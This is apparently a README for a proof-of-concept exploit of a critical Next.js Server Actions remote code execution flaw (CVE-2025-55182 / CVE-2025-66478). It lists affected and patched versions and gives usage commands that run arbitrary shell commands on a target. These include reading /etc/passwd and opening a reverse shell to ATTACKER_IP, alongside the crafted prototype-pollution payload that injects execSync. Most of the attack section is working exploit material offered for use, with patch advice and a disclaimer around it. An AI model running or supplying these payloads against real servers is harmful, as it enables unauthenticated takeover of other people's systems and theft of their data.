
Critical vulnerability in Next.js Server Actions allowing unauthenticated Remote Code Execution via React Flight Protocol deserialization
This repository contains a Proof of Concept (PoC) for the critical RCE vulnerability affecting Next.js applications using Server Actions (React Server Functions).
| Detail | Info |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| Severity | Critical (CVSS 10.0) |
| React Affected | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js Affected | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| NOT Affected | Next.js 14.x stable, 13.x, Pages Router, Edge Runtime |
| Next.js Fixed | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| React Fixed | 19.0.1, 19.1.2, 19.2.1 |
| Type | Remote Code Execution (RCE) |
| Auth Required | None |
The vulnerability exists in how React Flight Protocol deserializes chunks during Server Actions processing. An attacker can exploit prototype pollution via crafted form data to:
Function constructor through prototype chain traversal (__proto__)This occurs before any validation of the server action, making it exploitable on any Next.js app with Server Actions enabled.
Any Next.js application is vulnerable if:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
The command output appears in the digest field.
The exploit leverages the React Flight Protocol's chunk resolution mechanism:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Attack chain:
$1:__proto__:thenFunction constructor via $1:constructor:constructor_prefix fieldUpgrade immediately:
npm install next@latest
# or
pnpm update next
Patched versions: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Note: Next.js 14.x stable and 13.x are NOT vulnerable.
⚠️ This PoC is for educational and authorized security testing purposes only.
Unauthorized access to computer systems is illegal. Only use this tool on systems you own or have explicit permission to test. The authors are not responsible for any misuse.
Based on the original research by @msanft. Full credit for the vulnerability discovery and initial PoC goes to them.
Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE